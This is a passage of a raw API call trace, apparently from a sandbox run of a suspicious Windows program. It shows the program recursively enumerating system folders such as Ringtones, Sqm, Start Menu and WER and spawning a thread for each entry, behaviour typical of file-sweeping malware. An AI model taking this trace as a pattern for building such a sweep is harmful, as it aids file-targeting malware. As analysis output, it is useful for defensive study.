lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="RI70DC~1.WMA")) returned 1 [0149.358] wcscmp (_String1="Ringtone 09.wma", _String2=".") returned 1 [0149.358] wcscmp (_String1="Ringtone 09.wma", _String2="..") returned 1 [0149.358] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8918 [0149.358] wcscpy (in: _Dest=0x8f8918, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.358] wcscat (in: _Dest=0x8f8918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.358] wcscat (in: _Dest=0x8f8918, _Source="Ringtone 09.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0149.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x176c [0149.359] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 1 [0149.359] wcscmp (_String1="Ringtone 10.wma", _String2=".") returned 1 [0149.359] wcscmp (_String1="Ringtone 10.wma", _String2="..") returned 1 [0149.359] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f89a0 [0149.359] wcscpy (in: _Dest=0x8f89a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.359] wcscat (in: _Dest=0x8f89a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.359] wcscat (in: _Dest=0x8f89a0, _Source="Ringtone 10.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0149.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f89a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1770 [0149.360] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 0 [0150.141] FindClose (in: hFindFile=0x941f70 | out: hFindFile=0x941f70) returned 1 [0150.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0150.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0fe8) returned 1 [0150.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90efc0) returned 1 Thread: id = 2701 os_tid = 0x16d4 [0147.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff488 [0147.710] wcscpy (in: _Dest=0x8ff488, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0147.710] wcscat (in: _Dest=0x8ff488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0147.710] wcscat (in: _Dest=0x8ff488, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*" [0147.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91fe38 [0147.710] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941df0 [0147.711] wcscmp (_String1=".", _String2=".") returned 0 [0147.711] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.711] wcscmp (_String1="..", _String2=".") returned 1 [0147.711] wcscmp (_String1="..", _String2="..") returned 0 [0147.711] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0147.711] wcscmp (_String1="Manifest", _String2=".") returned 1 [0147.711] wcscmp (_String1="Manifest", _String2="..") returned 1 [0147.711] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f12f8 [0147.711] wcscpy (in: _Dest=0x8f12f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0147.711] wcscat (in: _Dest=0x8f12f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0147.711] wcscat (in: _Dest=0x8f12f8, _Source="Manifest" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest" [0150.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f12f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ec [0150.362] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0150.362] wcscmp (_String1="Sessions", _String2=".") returned 1 [0150.362] wcscmp (_String1="Sessions", _String2="..") returned 1 [0150.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1608 [0150.362] wcscpy (in: _Dest=0x8f1608, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0150.362] wcscat (in: _Dest=0x8f1608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0150.362] wcscat (in: _Dest=0x8f1608, _Source="Sessions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions" [0150.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f0 [0150.364] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0150.364] wcscmp (_String1="Upload", _String2=".") returned 1 [0150.364] wcscmp (_String1="Upload", _String2="..") returned 1 [0150.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90efc0 [0150.364] wcscpy (in: _Dest=0x90efc0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0150.364] wcscat (in: _Dest=0x90efc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0150.364] wcscat (in: _Dest=0x90efc0, _Source="Upload" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload" [0150.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90efc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f4 [0150.383] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0150.383] FindClose (in: hFindFile=0x941df0 | out: hFindFile=0x941df0) returned 1 [0150.383] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fe38) returned 1 [0150.383] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff488) returned 1 [0150.383] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff128) returned 1 Thread: id = 2702 os_tid = 0x16d8 [0147.711] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0cd8 [0147.711] wcscpy (in: _Dest=0x8f0cd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" [0147.711] wcscat (in: _Dest=0x8f0cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0147.711] wcscat (in: _Dest=0x8f0cd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*" [0147.712] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91ce18 [0147.712] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9423f0 [0147.712] wcscmp (_String1=".", _String2=".") returned 0 [0147.712] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.712] wcscmp (_String1="..", _String2=".") returned 1 [0147.712] wcscmp (_String1="..", _String2="..") returned 0 [0147.712] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0147.712] wcscmp (_String1="Default Programs.lnk", _String2=".") returned 1 [0147.712] wcscmp (_String1="Default Programs.lnk", _String2="..") returned 1 [0147.712] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.712] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0147.712] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0147.712] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0147.712] wcscmp (_String1="Programs", _String2=".") returned 1 [0147.712] wcscmp (_String1="Programs", _String2="..") returned 1 [0147.712] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x99e088 [0147.712] wcscpy (in: _Dest=0x99e088, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" [0147.712] wcscat (in: _Dest=0x99e088, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0147.712] wcscat (in: _Dest=0x99e088, _Source="Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0156.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99e088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc [0156.249] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0156.249] wcscmp (_String1="Windows Update.lnk", _String2=".") returned 1 [0156.249] wcscmp (_String1="Windows Update.lnk", _String2="..") returned 1 [0156.249] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91ce18 | out: lpFindFileData=0x91ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0156.249] FindClose (in: hFindFile=0x9423f0 | out: hFindFile=0x9423f0) returned 1 [0156.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ce18) returned 1 [0156.250] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0cd8) returned 1 [0156.250] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ec18) returned 1 Thread: id = 2703 os_tid = 0x16dc [0147.713] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1138 [0147.713] wcscpy (in: _Dest=0x8f1138, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" [0147.713] wcscat (in: _Dest=0x8f1138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\" [0147.713] wcscat (in: _Dest=0x8f1138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*" [0147.713] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91def0 [0147.713] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0147.713] wcscmp (_String1=".", _String2=".") returned 0 [0147.713] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.713] wcscmp (_String1="..", _String2=".") returned 1 [0147.713] wcscmp (_String1="..", _String2="..") returned 0 [0147.713] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.713] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0147.714] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91def0) returned 1 [0147.714] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1138) returned 1 [0147.714] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f368) returned 1 Thread: id = 2704 os_tid = 0x16e0 [0147.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8fec48 [0147.715] wcscpy (in: _Dest=0x8fec48, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0147.715] wcscat (in: _Dest=0x8fec48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0147.715] wcscat (in: _Dest=0x8fec48, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*" [0147.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91def0 [0147.715] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0147.715] wcscmp (_String1=".", _String2=".") returned 0 [0147.715] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.715] wcscmp (_String1="..", _String2=".") returned 1 [0147.715] wcscmp (_String1="..", _String2="..") returned 0 [0147.715] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0147.715] wcscmp (_String1="ReportArchive", _String2=".") returned 1 [0147.715] wcscmp (_String1="ReportArchive", _String2="..") returned 1 [0147.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93ca58 [0147.715] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0147.715] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0147.715] wcscat (in: _Dest=0x93ca58, _Source="ReportArchive" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" [0152.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93ca58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0152.905] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0152.905] wcscmp (_String1="ReportQueue", _String2=".") returned 1 [0152.905] wcscmp (_String1="ReportQueue", _String2="..") returned 1 [0152.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x971d08 